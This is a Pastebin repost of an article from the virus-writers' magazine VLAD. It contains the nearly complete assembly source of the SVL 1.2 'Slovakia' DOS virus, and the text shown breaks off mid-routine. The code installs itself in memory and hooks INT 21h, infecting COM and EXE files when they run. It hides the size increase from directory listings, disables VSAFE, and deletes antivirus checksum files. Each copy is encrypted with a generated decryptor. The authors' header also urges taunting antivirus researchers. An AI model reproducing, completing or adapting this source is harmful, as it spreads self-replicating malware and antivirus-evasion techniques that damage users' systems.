FlyFar

VLAD Magazine - Issue #6 - ARTICLE.4_4 - SVL 1.2

Jul 6th, 2023
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 27.72 KB | Cybersecurity | 0 0
  1. ;***********************************************************************
  2. ;***** BEFORE READING THE SOURCE OR COMPILING , READ THIS !!! **********
  3. ;***********************************************************************
  4.  
  5. ; THIS VIRUS WAS WRITTEN IN 12/93 - 1/94 SO DON'T BE SUPRISED, IF IT'S
  6. ; DETECTED BY ALL OF THE BETTER AV-PROGRAMS. THE SVL 1.x FAMILY OF VIRUSES
  7. ; WERE ( AND STILL ARE ) IN THE WILD. VX HAS A GOOD POLYMORPHIC ENGINE ,
  8. ; SIMPLE SEMI-STEALTH, BUT IS RATHER POORLY OPTIMISED :(
  9.  
  10. ; NAME       : SVL 1.1  
  11.  
  12. ; FAMILY MEMBERS : SVL 1.0
  13. ;                  SVL 1.1  ... was the bugfix for 1.0
  14. ;                  SVL 1.2  ... i can't remember what was new here
  15. ;                  SVL.KILL ... this isn't our work, this version
  16. ;                               rewrites sectors of HD at random
  17.  
  18. ; ALIASES    : SlovakiaII , New_Slovakia
  19.  
  20. ; AUTHORS    : JX , proffesor , mengele - members of SVL
  21.  
  22. ; ORIGIN     : .sk aka Slovakia aka Slovak republic
  23.  
  24. ; RELEASED   : Jan , 1994
  25.  
  26. ; REFERENCES : AVPVE links this virus as SlovakiaII to the Slovak family.
  27. ;              That's wrong, of course :) . Another AVPVE mistake is
  28. ;              saying that virus contains strings like 'SlovakiaII.3584a'
  29. ;              and 'SlovakiaII.3584b' . I am sure there are no such
  30. ;              strings in the sources . It looks like somebody tried to
  31. ;              recompile sources which we released to our friends.
  32.  
  33. ; TYPE       : - resident COM & EXE infector
  34. ;              - infection on exe
  35. ;              - int 21 hooked
  36. ;              - semi-stealth
  37. ;              - prints fake message
  38.  
  39. ; REMOVAL METHODS : various , e.g. formating HD, but our choice is
  40. ;                   to ftp to ftp.elf.stuba.sk /pub/pc/sac/svl.zip ,
  41. ;                   where u can get a nice remover.
  42.  
  43. ; POSTDISCOVERY HISTORY : after beeing in the wild for 11 months, we
  44. ;                         decided to show our goodwill to the AV-boyz
  45. ;                         and send them sources, but as they
  46. ;                         should have work very hard for their money,
  47. ;                         they got no disc or e-mail with the source. They
  48. ;                         got the sources printed on paper . :)))))
  49. ;                         Just imagine the situation : u have to re-type
  50. ;                         30 pages. I think they were very happy !
  51. ;                         I wish I could have seen their faces as they opened
  52. ;                         our special 'delivery'. We also added a letter
  53. ;                         which can u find in VLAD#4 in article called
  54. ;                         Slovakia by Qark.
  55.  
  56. ; WE STRONGLY RECCOMEND THE STRATEGY DESCRIBED ABOVE FOR DRIVING SOME VIRUS
  57. ; RESEARCHERS MAD. IF YOUR VIRUS HAS HUGE SOURCES, TRY IT. TRY TO INCLUDE
  58. ; SOME BUGS IN SUCH SPECIAL SOURCES. MAKE THE AV TYPE IT !!!
  59. ; THEY'LL BE HAPPY !!!
  60.  
  61. ; Gretings to : VYVOJAR , _COKE_ , SEPULTURA , KDKD , TUIR , MMIR , MJunkie
  62. ;               DARKMAN , QARK , METABOLIS , VLAD , IR and all from #v
  63.  
  64. ;                and to our favourite FRED FLINTSTONE
  65.  
  66. ; special greetings to PFC fredey - army is cool , or isn't it ? :)))
  67. ; / now u have time to code this promised 'super perfect mega virus ' /
  68.  
  69. ; Tymto specialne pozdravujem Mira Trnku a prajem mu,aby mu rubrika vydrzala
  70. ; az do dochodkoveho veku . Stava sa na Slovensku pomaly kultovou postavou a
  71. ; zopar ludi mu asi chce vytvorit fanklub . Prosim pana Hubinskeho aby na -
  72. ; tychto par viet M.T upozornil ... he - he - he
  73.  
  74. ; /MSG Blesk gimme know where're u , or mail us .
  75.  
  76. ; As information should be free , we'll welcome all kind of them ...
  77. ; Do not allow the net censorship !!!
  78.  
  79. ;  JX/SVL  MGL / SVL  proffesor/SVL   and freshman blesk/SVL
  80.  
  81. ;   P.S :           Don't PaniX !!!!!!!!!!!!!!!!!!!
  82. ;
  83. ;------------------------- cut here ---------------------------------------
  84. .model tiny
  85. .286
  86. .code
  87.    
  88.      mov ah,9h        ; Carrier file
  89.      push cs
  90.      pop ds
  91.      mov dx,offset LLL1
  92.      int 21h
  93.      mov ah,4ch    
  94.      int 21h
  95. LLL1:    db "I$"
  96. ;***************************************************************************
  97. DECST:   mov ax,1h      ;Decryptor
  98.      mov bx,20h
  99. DEC1:    mov cx,0000h
  100.      xor word ptr cs:[bx+0],cx
  101.      inc bx
  102.      inc bx
  103.      dec ax
  104.      jnz DEC1
  105. ;***************************************************************************
  106. START:   mov si,0020h      ; Flexible entry point
  107.      mov di,si         ; SI holds offset of START.
  108.      add di,13h
  109.      push ds           ; Store segments
  110.      push es
  111.      push cs           ;DS=CS.
  112.      pop ds
  113.      jmp TRACE1
  114. AAAY:    mov byte ptr ds:[di],0h
  115. AAAX:    jmp INST1
  116. ;---------------------------------
  117.      mov ah,4ch              
  118.      int 21h
  119. ;---------------------------------
  120. INST1:   mov ah,04h          ; Display message on screen (1-4.8)
  121.      int 1ah
  122.      cmp dh,01h
  123.      jnz INST2
  124.      cmp dl,3h
  125.      jnc INST2
  126.  
  127.      mov dx,si
  128.      add dx,offset INSTTXT1-offset START
  129.      mov ah,09h
  130.      int 21h
  131.      mov ah,01h           ; Clear cursor
  132.      mov ch,20h
  133.      int 10h
  134.      mov ah,86h           ; wait for a while
  135.      mov cx,0020h
  136.      mov dx,0fffh
  137.      int 15h
  138. INST2:
  139. ;---------------------------------
  140.      cmp byte ptr ds:[si+TYPFILE-START],2h   ; COM or EXE file ?
  141.      jnz INST2C
  142. ;---------------------------------
  143.      mov ax,es     ; calculate segment for EXE file
  144.      add ax,10h
  145.      push ax
  146. NNCS:    add ax,0000h   ; add REL_CS, from original EXE header.
  147.      mov word ptr ds:[si+JMPCS-START],ax   ; prepare jump to original
  148.      pop ax                                ; entry point
  149. NNSS:    add ax,0000h   ; add REL_SS, from original EXE header.
  150.      mov word ptr ds:[si+INSTSS-START+1h],ax  ;restore STACK segment
  151.      jmp INSTZV
  152. ;---------------------------------
  153. INST2C:  mov ax,cs
  154.      mov word ptr ds:[si+JMPCS-START],ax
  155.      mov word ptr ds:[si+JMPIP-START],100h
  156.      push si
  157.      cld
  158.      mov cx,3h
  159.      mov di,100h
  160.      add si,offset ZACCOM-START
  161.      rep movsb
  162.      pop si
  163. ;---------------------------------
  164. INSTZV:  mov ah,30h        ; get DOS version
  165.      int 21h
  166.      cmp al,4h         ; we dont go resitent
  167.      jnc INST4         ; if dos version is bellow 4.0
  168.      jmp INSTEND
  169. ;---------------------------------
  170. INST4:   mov cx,4321h
  171.      mov ah,54h       ; Instalation check
  172.      int 21h
  173.      cmp bx,0EEE1h
  174.      jnz INST5
  175.      jmp INSTEND
  176. ;---------------------------------
  177. INST5:   mov ax,es       ;Test if program MCB is last
  178.      dec ax
  179.      mov es,ax
  180.      cmp byte ptr es:[0000h],5ah
  181.      jz INST6
  182.      jmp INSTEND
  183. ;---------------------------------
  184. INST6:   mov bx,word ptr es:[0003h]  ; calculate where we place virus
  185.      sub bx,100h                 ; from MCB.
  186.      mov dx,es
  187.      add dx,bx
  188.      inc dx
  189. ;---------------------------------
  190.      mov ax,cs        ; do we have enough memory ?
  191.      cmp byte ptr ds:[si+TYPFILE-START],2h  ; COM or EXE file.
  192.      jnz INST7
  193.      add ax,0101h     ; add our size in para +1.
  194. NNMIN:   add ax,0000h     ; add MINMEM from  EXE-FILE header
  195.      jmp INST8
  196. INST7:   add ax,1000h  
  197. INST8:   cmp dx,ax
  198.      jc INSTEND                
  199. ;---------------------------------
  200.      mov word ptr es:[0003h],bx    ; cut MCB by 4kB.
  201.      mov ax,es                    
  202.      inc ax
  203.      mov es,ax
  204.      mov ax,word ptr es:[0002h]  
  205.      sub ax,100h
  206.      mov word ptr es:[0002h],ax
  207. ;---------------------------------
  208.      push si            ; move body to the top of memory in VIRSEG.
  209.      mov cx,0e00h
  210.      push cs
  211.      pop ds
  212.      mov es,dx          ; ES holds VIRSEG.
  213.      xor di,di
  214.      rep movsb
  215.      pop si
  216. ;---------------------------------
  217.      xor ax,ax
  218.      mov ds,ax
  219.      sub word ptr ds:[413h],4h      ;subtract BIOSMEMSIZE by 4..
  220.      mov ax,word ptr ds:[21h*4h]    ;hook INT 21h
  221.      mov word ptr es:[HPVECT21-START],ax
  222.      mov ax,word ptr ds:[21h*4h+2h]
  223.      mov word ptr es:[HPVECT21-START+2h],ax
  224.      mov ax,es
  225.      cli
  226.      mov word ptr ds:[21h*4h],offset SIZESTE-START
  227.      mov word ptr ds:[21h*4h+2h],ax
  228.      sti
  229. ;---------------------------------
  230. INSTEND: xor ax,ax       ;prepare register for exec.
  231.      xor bx,bx
  232.      xor cx,cx
  233.      xor dx,dx
  234.      xor bp,bp
  235.      xor di,di
  236.      cmp byte ptr cs:[si+TYPFILE-START],2h      ;COM or EXE file.
  237.      jnz INSTENDC
  238. ;---------------------------------
  239.      xor si,si    
  240.      pop es        
  241.      pop ds
  242.      sahf                    
  243.      cli
  244. INSTSP:  mov sp,0000h    ;Set original stack.
  245. INSTSS:  mov ax,0000h    ;for EXE file.
  246.      mov ss,ax
  247.      sti
  248.      xor ax,ax
  249. JMINS:   db 0eah         ;Leave virus loader.
  250. JMPIP:   db 00h
  251.      db 00h
  252. JMPCS:   db 00h
  253.      db 00h
  254. ;--------------------------------
  255. INSTENDC:xor si,si     ; start original COM file.
  256.      pop es        ; restore segments pointing to PSP.
  257.      pop ds
  258.      sahf          ; clear  FLAGs.
  259.      jmp JMINS     ; and exit from here
  260. ;--------------------------------
  261. HPVECT21:dw 0h           ;INT 21h
  262.      dw 0h
  263. INSTTXT1:db 0dh,0ah,"I'am SLOVAKIA virus  Version 1.2 Copyright"
  264.      db " (c) 1994 SVL",0dh,0ah,"$"
  265. TYPFILE: db 2h   ;Typ s�b. ktor� nesie v�r. (0-povel. preklada�,1-COM,2-EXE.)
  266. ZACCOM:  db 0h,0h,0h   ;Data na za�iatku p�v. COM s�b.
  267. ;****************************************************************************
  268. REGDX:   dw 0h    ; offseyt of path to file (fn. EXEC).
  269. REGDS:   dw 0h    ; segment of path to file (fn. EXEC).
  270. NUMBDSK: db 0h    ; drive number
  271. IDFILE:  db 0h    ; file indentifier (0,1-COM,2-EXE).
  272. PARAMVS: db 0h    ; VSAFE parameters
  273. AKTHNDL: dw 0h    ; handle of opened file
  274. TIMEHP:  dw 0h    ; here we store time
  275. DATEHP:  dw 0h    ; date of victim
  276. TABHEAD: db 1ch dup(0) ;where exe file header 'll be
  277. SIZESEG: dw 0h    ; filesize (DX*65536)+AX.
  278. SIZEOFF: dw 0h    ; AX
  279. ATR:     dw 0h    ; attributes
  280. DTX1:    db "chklist.ms ",0h
  281. DTX2:    db "chklist.cps",0h
  282. DTX3:    db "smartchk.cps",0h
  283. DTX4:    db "svl.svl",0h
  284. ASIZEVIR:dw 0h     ; counter for write
  285. CODETP:  db 0h     ; type of decryption
  286. NCDX:    dw 0h     ; decryption key
  287. STEASZAX:dw 0h     ; file size
  288. STEASZDX:dw 0h     ; file size
  289. ;rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
  290. SIZESTE:  pushf          ; Start of resident part
  291. ;--------------------------
  292.       pusha                
  293.       mov bp,sp
  294.       mov ax,word ptr ss:[bp+22d]
  295.       test ax,0000001000000000b
  296.       jz OBNIF
  297.       mov bh,0fbh
  298.       jmp OBNIF1
  299. OBNIF:    mov bh,0fah
  300. OBNIF1:   mov byte ptr cs:[FLEG1-START],bh
  301.       mov byte ptr cs:[FLEG2-START],bh
  302.       mov byte ptr cs:[FLEG3-START],bh
  303.       mov byte ptr cs:[FLEG4-START],bh
  304.       popa
  305. ;--------------------------
  306.       cmp ah,4eh
  307.       jz SI1ST
  308.       cmp ah,4fh
  309.       jnz SIA
  310. ;-------------------------------------------------------------------------
  311. SI1ST:    popf       ;handle int 21h FIND 1st FILE, FIND nxt FILE
  312.       pushf               ;via handle( fn. 4e, 4f. )
  313.       call dword ptr cs:[HPVECT21-START]
  314.       pushf
  315.       pusha
  316.       push es
  317.       jc SI1STE
  318. ;-------------------------
  319.       mov ah,2fh       ;INT 21h fn. 2fh GET DTA.
  320.       pushf
  321.       call dword ptr cs:[HPVECT21-START]
  322.  
  323.       mov ax,word ptr es:[bx+18h]    
  324.       shr ax,9h                ; AX holds year
  325.       cmp ax,64h            ;  is infected ?
  326.       jc SI1STE
  327. ;--------------------------
  328.       mov ax,0e00h           ;  sizefile-ax.
  329.       sub word ptr es:[bx+1ah],ax        ;
  330.       jnc SI1ST2                         ; hide virus ...
  331.       dec word ptr es:[bx+1ah+2h]
  332. SI1ST2:   jmp SI1STE
  333. ;--------------------------
  334. SI1STE:   pop es
  335.       popa
  336.       popf
  337. FLEG1:    sti
  338.       retf 02
  339. ;-------------------------------------------------------------------------
  340. SIA:      cmp ah,11h
  341.       jz SIFC
  342.       cmp ah,12h
  343.       jnz SIEND
  344. ;-------------------------------------------------------------------------
  345. SIFC:     popf       ; handle INT 21h, FN 11H, 12h  FND FILE FCB
  346.       pushf            
  347.       call dword ptr cs:[HPVECT21-START]
  348.       pushf
  349.       pusha
  350.       push es
  351.       cmp al,0h
  352.       jnz SIFCE     ; error !
  353. ;-----------------------
  354.       mov ah,2fh            ; get DTA.
  355.       pushf
  356.       call dword ptr cs:[HPVECT21-START]
  357.       cmp byte ptr es:[bx],0ffh ;is FCB extended ?
  358.       jz SIFC1
  359. ;-----------------------
  360. SIFC3:    mov ax,word ptr es:[bx+19h]    ; is date changed ?
  361.       shr ax,9h                      ; Normal FCB.
  362.       cmp ax,64h
  363.       jc SIFCE
  364.       mov ax,0e00h           ; hide virus
  365.       sub word ptr es:[bx+1dh],ax        
  366.       jnc SIFC2                          ; cut size by ax bytes
  367.       dec word ptr es:[bx+1dh+2h]
  368. SIFC2:    jmp SIFCE
  369. ;-----------------------
  370. SIFC1:    add bx,7h           ; FCB is extended , skip garbage
  371.       jmp SIFC3
  372. ;-----------------------
  373. SIFCE:    pop es
  374.       popa
  375.       popf
  376. FLEG2:    sti
  377.       retf 02
  378. ;-------------------------------------------------------------------------
  379. SIEND:    cmp ah,54h     ; instalation check
  380.       jnz SIEND1
  381.       cmp cx,4321h
  382.       jnz SIEND1
  383.       popf
  384.       pushf
  385.       call dword ptr cs:[HPVECT21-START]
  386.       mov bx,0eee1h
  387. FLEG3:    sti
  388.       retf 02
  389. ;-------------------------------------------------------------------------
  390. ;-------------------------------------------------------------------------
  391. SIEND1:   cmp ah,4bh       ; fn EXEC.
  392.       jz ZAV0          ; here we infect files
  393.       jmp SIEND2
  394. ZAV0:     cmp al,00h
  395.       jz ZAV1
  396.       jmp SIEND2
  397. ;---------------------
  398. ZAV1:     pusha
  399.       push ds
  400.       push es
  401. ;---------------------
  402.       mov word ptr cs:[REGDX-START],dx   ; store path to file
  403.       mov word ptr cs:[REGDS-START],ds   ; (fn. EXEC)
  404. ;-------------------------------------------------------------------------
  405.       mov bx,dx      ; test , what drive is it
  406.       push ds        ; we infects only local HDs.
  407.       push dx
  408.       mov dl,byte ptr ds:[bx]  
  409.       mov dh,byte ptr ds:[bx+1h]
  410.       cmp dh,3ah      ; contains path drive letter ? (d:)
  411.       jz ZAV2
  412. ;---------------------
  413.       mov ah,19h    ; get current drive
  414.       pushf
  415.       call dword ptr cs:[HPVECT21-START]
  416.       inc al
  417.       mov dl,al
  418.       jmp ZAV4
  419. ;---------------------          
  420. ZAV2:     cmp dl,60h      ; calculate drive number from ASCII
  421.       jnc ZAV3
  422.       sub dl,40h
  423.       jmp ZAV4
  424. ZAV3:     sub dl,60h          
  425. ;---------------------
  426. ZAV4:     mov byte ptr cs:[NUMBDSK-START],dl ; store drive number
  427.       mov ah,1ch                  ; HD or  FD ?
  428.       pushf
  429.       call dword ptr cs:[HPVECT21-START]
  430.       cmp al,0ffh        ; error ?
  431.       jz ZAV444
  432.       cmp byte ptr ds:[bx],0f8h     ;Test ID byte of disk FAT (F8-HD).
  433.       jnz ZAV444
  434. ;---------------------
  435.       mov bl,byte ptr cs:[NUMBDSK-START]  ; is drive local ?
  436.       mov ax,4409h
  437.       pushf
  438.       call dword ptr cs:[HPVECT21-START]
  439.       jc ZAV444
  440.       test dx,1000h
  441.       jnz ZAV444
  442. ;---------------------
  443.       stc             ;Disk is ok :)
  444.       jmp ZAV444E
  445. ;---------------------
  446. ZAV444:   clc             ; wrong drive :(
  447. ZAV444E:  pop dx
  448.       pop ds          
  449. ;-------------------------------------------------------------------------
  450.       jc ZAV5
  451.       jmp ZAVE
  452. ;---------------------
  453. ZAV5:     mov ah,62h      ; test if actual process is AV
  454.       pushf
  455.       call dword ptr cs:[HPVECT21-START]    
  456.       dec bx
  457.       push ds
  458.       mov ds,bx
  459.       mov si,08h
  460.       call FINDSTR          
  461.       pop ds
  462.       jnc ZAV6
  463.       jmp ZAVE
  464. ;---------------------
  465. ZAV6:     call CHKASCIIZ     ;Test if file (path ds:dx) is COM or EXE
  466.       jnc ZAV7           ; and if is AV or not
  467.       jmp ZAVE
  468. ZAV7:     jz ZAV8            ; set indentificator for actual file
  469.       mov byte ptr cs:[IDFILE-START],1h
  470.       jmp ZAV9
  471. ZAV8:     mov byte ptr cs:[IDFILE-START],2h
  472. ;---------------------
  473. ZAV9:     push ds            ; fuck VSAFE  (Msdos 6.0).
  474.       push dx
  475.       mov ax,0fa02h
  476.       mov dx,5945h
  477.       mov bl,0h
  478.       int 21h
  479.       mov byte ptr cs:[PARAMVS-START],cl
  480.       pop dx
  481.       pop ds
  482. ;---------------------
  483.       mov ax,4300h   ; getfile attribs
  484.       pushf
  485.       call dword ptr cs:[HPVECT21-START]    
  486.       jnc ZAV9A
  487.       jmp ZAVEVSF
  488. ZAV9A:    mov word ptr cs:[ATR-START],cx                        
  489. ;---------------------
  490.       mov ax,3d00h       ;open file (Read only). just check it
  491.       pushf
  492.       call dword ptr cs:[HPVECT21-START]
  493.       jnc ZAV10
  494.       jmp ZAVEVSF
  495. ;---------------------
  496. ZAV10:    mov bx,ax          ; get date
  497.       mov word ptr cs:[AKTHNDL-START],bx
  498.       mov ax,5700h
  499.       pushf
  500.       call dword ptr cs:[HPVECT21-START]
  501.       jnc ZAV11
  502.       jmp ZAVECHNDL
  503. ZAV11:    mov word ptr cs:[TIMEHP-START],cx    ;and store date & time.
  504.       mov word ptr cs:[DATEHP-START],dx
  505.       shr dx,9h       ; is file infected (date is +100 years ).
  506.       cmp dx,64h        
  507.       jc ZAV12
  508.       jmp ZAVECHNDL
  509. ;---------------------
  510. ZAV12:    mov ah,3fh      ;get 1Ch bytes from file start
  511.       push cs
  512.       pop ds
  513.       mov cx,1ch
  514.       mov dx,offset TABHEAD-START
  515.       pushf
  516.       call dword ptr ds:[HPVECT21-START]
  517.       jnc ZAV13
  518.       jmp ZAVECHNDL
  519. ;---------------------
  520. ZAV13:    mov ax,4202h     ; get lenght
  521.       xor cx,cx        
  522.       xor dx,dx
  523.       pushf
  524.       call dword ptr ds:[HPVECT21-START]
  525.       jnc ZAV14
  526.       jmp ZAVECHNDL
  527. ;----------------------
  528. ZAV14:    mov word ptr ds:[SIZESEG-START],dx     ; store lenght
  529.       mov word ptr ds:[SIZEOFF-START],ax        
  530.       cmp dx,0h         ; isn't file too short ?
  531.       jnz ZAV15
  532.       cmp ax,400h
  533.       jnc ZAV15
  534.       jmp ZAVECHNDL
  535. ZAV15:    cmp byte ptr ds:[IDFILE-START],2h    ; or too long ?
  536.       jz ZAV17
  537.       cmp ax,0eff0h   ; COM size check
  538.       jc ZAV18          
  539.       jmp ZAVECHNDL
  540. ZAV17:    cmp dx,7h       ; EXE size check
  541.       jc ZAV16
  542.       jmp ZAVECHNDL
  543. ZAV16:    push bx
  544.       push ax
  545.       mov cx,dx       ; match EXE file size in header with
  546.       mov ax,80h      ; real size ?  
  547.       xor dx,dx
  548.       mul cx
  549.       mov bx,ax
  550.       pop ax
  551.       mov cx,200h
  552.       xor dx,dx
  553.       div word ptr cx
  554.       xor dx,0h
  555.       jz ZAV16A
  556.       inc ax
  557. ZAV16A:   add ax,bx
  558.       cmp word ptr ds:[TABHEAD-START+4h],ax
  559.       pop bx
  560.       jz ZAV18
  561.       jmp ZAVECHNDL  
  562. ;---------------------
  563. ZAV18:    cmp byte ptr ds:[IDFILE-START],2h    ; is EXE file for
  564.       jnz ZAV19                            ; macrosoft fensters ? (MSWIN)
  565.       mov si,offset TABHEAD-START
  566.       cmp word ptr ds:[si+18h],40h
  567.       jc ZAV19
  568.       jmp ZAVECHNDL
  569. ;---------------------
  570. ZAV19:    mov ah,3eh        ; close file
  571.       pushf
  572.       call dword ptr ds:[HPVECT21-START]
  573.       jnc ZAV20
  574.       jmp ZAVECHNDL
  575. ;----------------------------------------------------------------------
  576. ZAV20:    call ANLPATH        ; delete unfriendly files (CPAV,MSAV).
  577.       push cs             ;chklist.ms .
  578.       pop ds
  579.       mov di,si
  580.       mov si,offset DTX1-START
  581.       mov cx,0fh
  582.       rep movsb  
  583.       call ZAV20PRC
  584. ;---------------------
  585.       call ANLPATH
  586.       push cs              ;chklist.cps
  587.       pop ds
  588.       mov di,si
  589.       mov si,offset DTX2-START
  590.       mov cx,0fh
  591.       rep movsb
  592.       call ZAV20PRC
  593. ;---------------------
  594.       call ANLPATH        ;smartchk.cps.
  595.       push cs
  596.       pop ds
  597.       mov di,si
  598.       mov si,offset DTX3-START
  599.       mov cx,0fh
  600.       rep movsb
  601.       call ZAV20PRC  
  602.       jmp ZAV21  
  603. ;---------------------
  604. ZAV20PRC: mov ah,41h        ; i love this function
  605.       mov dx,0e00h
  606.       pushf
  607.       call dword ptr cs:[HPVECT21-START]
  608.       ret
  609. ;----------------------------------------------------------------------
  610. ;----------------------------------------------------------------------
  611. ZAV21:    mov ds,word ptr cs:[REGDS-START]    ; normal attribs
  612.       mov dx,word ptr cs:[REGDX-START]
  613.       mov ax,4301h
  614.       mov cx,0h
  615.       pushf
  616.       call dword ptr cs:[HPVECT21-START]
  617.       jnc ZAV22
  618.       jmp ZAVEVSF
  619. ;---------------------
  620. ZAV22:    call ANLPATH       ; rename exe,com FILE to  
  621.       push cs            ;SVL.svl
  622.       pop ds
  623.       mov di,si
  624.       mov si,offset DTX4-START
  625.       mov cx,0fh
  626.       rep movsb
  627.       mov ds,word ptr cs:[REGDS-START]
  628.       mov di,0e00h
  629.       mov ah,56h
  630.       pushf
  631.       call dword ptr cs:[HPVECT21-START]
  632.       jnc ZAV23
  633.       jmp ZAVEVSF
  634. ;---------------------
  635. ZAV23:    push cs        ; open file R/w
  636.       pop ds  
  637.       mov dx,0e00h
  638.       mov ax,3d02h
  639.       pushf
  640.       call dword ptr cs:[HPVECT21-START]
  641.       jnc ZAV24
  642.       jmp ZAVRENM
  643. ;---------------------
  644. ZAV24:    mov bx,ax
  645.       mov word ptr cs:[AKTHNDL-START],bx
  646.       push cs
  647.       pop ds
  648.       mov ah,byte ptr ds:[IDFILE-START]    ; get indentifier
  649.       mov byte ptr ds:[TYPFILE-START],ah
  650.       cmp byte ptr ds:[IDFILE-START],2h  ; COM or EXE file.
  651.       jz ZAV24XX
  652.       jmp ZAV25
  653. ;---------------------
  654. ZAV24XX:  mov ax,word ptr ds:[TABHEAD+14h-START]   ; save IP.
  655.       mov word ptr ds:[JMPIP-START],ax
  656.       mov ax,word ptr ds:[TABHEAD+16h-START]   ; save CS.
  657.       mov word ptr ds:[NNCS+1h-START],ax
  658.       mov ax,word ptr ds:[TABHEAD+10h-START]   ; save SP.
  659.       mov word ptr ds:[INSTSP+1h-START],ax
  660.       mov ax,word ptr ds:[TABHEAD+0eh-START]   ; save SS.
  661.       mov word ptr ds:[NNSS+1h-START],ax
  662. ;---------------------
  663.       mov cx,word ptr ds:[TABHEAD+8h-START]    ; calculate new REL_CS,IP.
  664.       shl cx,4h         ; CX= header size
  665.       mov ax,word ptr ds:[SIZEOFF-START]    ; file size
  666.       mov dx,word ptr ds:[SIZESEG-START]
  667.       cmp ax,cx
  668.       jz ZAV25B
  669.       jnc ZAV25C
  670.       sub cx,ax
  671.       mov ax,0ffffh
  672.       sub ax,cx
  673.       inc ax
  674.       dec dx
  675.       jmp ZAV25E
  676.  
  677. ZAV25B:   xor ax,ax
  678.       jmp ZAV25E
  679.  
  680. ZAV25C:   sub ax,cx
  681. ;---------------------
  682. ZAV25E:   push ax       ; ax+dx*(65536) is EXE size
  683.       mov cx,dx        ; get REL_CS,IP.
  684.       xor dx,dx
  685.       mov ax,1000h
  686.       mul cx
  687.       mov bx,ax
  688.       pop ax
  689.       xor dx,dx
  690.       mov cx,10h
  691.       div word ptr cx
  692.       add ax,bx
  693. ;---------------------
  694.       mov word ptr ds:[TABHEAD+16h-START],ax ; EXE header new REL_CS.
  695.       mov word ptr ds:[TABHEAD+0eh-START],ax ; header new REL_SS.
  696.       mov word ptr ds:[TABHEAD+14h-START],dx ; header new IP.
  697.       mov word ptr ds:[TABHEAD+10h-START],1200h ; new SP.
  698. ;---------------------
  699.       mov ax,word ptr ds:[TABHEAD+0ah-START]    ; handle MINMEM a MAXMEM.
  700.       add ax,70h
  701.       mov word ptr ds:[TABHEAD+0ah-START],ax
  702.       mov word ptr ds:[TABHEAD+0ch-START],0ffffh
  703. ;---------------------
  704. ZAV25K:   mov word ptr ds:[NNMIN+1h-START],ax
  705.       mov word ptr ds:[TABHEAD+12h-START],0h ; clear checksum
  706.       mov ax,word ptr ds:[TABHEAD+4h-START]  ; add virus size
  707.       add ax,7h                              ; in pages
  708.       mov word ptr ds:[TABHEAD+4h-START],ax
  709.       jmp ZAV26
  710. ;---------------------
  711. ZAV25:    mov cx,3h               ; store first 3 bytes from COM
  712.       mov si,offset TABHEAD-START
  713.       push cs
  714.       pop es
  715.       mov di,offset ZACCOM-START
  716.       rep movsb
  717.       mov ax,word ptr ds:[SIZEOFF-START]   ; jump parametes
  718.       push ax
  719.       add ax,100h
  720.       mov dx,ax
  721.       pop ax
  722.       sub ax,3h
  723.       mov byte ptr ds:[TABHEAD-START],0e9h
  724.       mov word ptr ds:[TABHEAD+1h-START],ax
  725. ;---------------------
  726. ZAV26:    mov ax,dx        ; generate decryptor
  727.       mov cx,1600d
  728.       push dx
  729.       mov dx,0e00h
  730.       call MDEVICE
  731.       pop dx
  732.       mov byte ptr ds:[CODETP-START],bh  ; decryption type
  733.       mov word ptr ds:[ASIZEVIR-START],ax   ; write counter
  734.       mov word ptr ds:[NCDX-START],cx         ; key
  735.       add dx,ax
  736.       mov word ptr ds:[START+1h-START],dx ; FLEXIBLE ENTRY point.
  737.       mov byte ptr ds:[AAAX+1h-START],04h
  738. ;---------------------
  739.       push ax
  740.       mov bx,word ptr ds:[AKTHNDL-START]
  741.       mov ax,4202h         ; lseek end
  742.       xor cx,cx
  743.       xor dx,dx
  744.       pushf
  745.       call dword ptr ds:[HPVECT21-START]
  746.       pop cx
  747.       jnc OPKOD
  748.       jmp ZAVENW
  749. ;---------------------
  750. OPKOD:    mov ah,40h        ;WRITE decryptor
  751.       mov dx,0e00h
  752.       pushf
  753.       call dword ptr ds:[HPVECT21-START]
  754.       jnc OPKOD1
  755.       jmp ZAVENW
  756. ;---------------------
  757. OPKOD1:   xor cx,cx       ; encrypt body and appent it to end
  758.       mov dx,3200d    ; size of body
  759.       xor si,si
  760.       mov di,0e00h
  761. ;---------------------
  762. ZAV27S:   mov ax,word ptr ds:[si]
  763.       cmp byte ptr ds:[CODETP-START],1h
  764.       jz ZAV28
  765.       jnc ZAV27
  766.       xor ax,word ptr ds:[NCDX-START]     ;XOR
  767.       jmp ZAV29
  768. ZAV27:    add ax,word ptr ds:[NCDX-START]     ;SUB
  769.       jmp ZAV29
  770. ZAV28:    sub ax,word ptr ds:[NCDX-START]     ;ADD
  771. ;---------------------
  772. ZAV29:    mov word ptr ds:[di],ax
  773.       sub dx,2h
  774.       add word ptr ds:[ASIZEVIR-START],2h
  775.       add di,2h
  776.       add si,2h
  777.       add cx,2h
  778.       cmp dx,0h
  779.       jnz ZAV29AX
  780.       jmp ZAV29AY
  781. ZAV29AX:  cmp cx,200h
  782.       jnz ZAV27S
  783. ;---------------------
  784. ZAV29AY:  push dx
  785.       mov ah,40h         ; write to file
  786.       mov dx,0e00h
  787.       pushf
  788.       call dword ptr ds:[HPVECT21-START]
  789.       pop dx
  790.       jc ZAVENW
  791.       cmp dx,0h
  792.       jz ZAV30
  793.       mov di,0e00h
  794.       mov cx,0h
  795.       jmp ZAV27S
  796. ;---------------------
  797. ZAV30:    push ds            ; generate additional bytes
  798.       push bx
  799.       mov ah,0h
  800.       int 1ah
  801.       cmp dx,0feffh
  802.       jc ZAV30TY
  803.       mov dx,0feffh
  804. ZAV30TY:  mov si,dx
  805.       mov ax,0h
  806.       mov ds,ax
  807.       mov di,0e00h
  808.       mov cx,200h
  809.       rep movsb
  810.       pop bx
  811.       pop ds
  812.  
  813.       mov cx,0e00h      ; padd virus to 3,5 kB.
  814.       sub cx,word ptr ds:[ASIZEVIR-START]
  815.       mov dx,0e00h
  816.       mov ah,40h
  817.       pushf
  818.       call dword ptr ds:[HPVECT21-START]
  819.       jc ZAVENW
  820. ;---------------------
  821.       mov ax,4200h       ; lseek start 0
  822.       xor cx,cx
  823.       xor dx,dx          ; 2 years ago we didn't use cwd :)
  824.       pushf
  825.       call dword ptr ds:[HPVECT21-START]
  826.       jc ZAVENW
  827. ;---------------------         ;Write 1c bytes to file start
  828.       mov ah,40h
  829.       mov cx,1ch
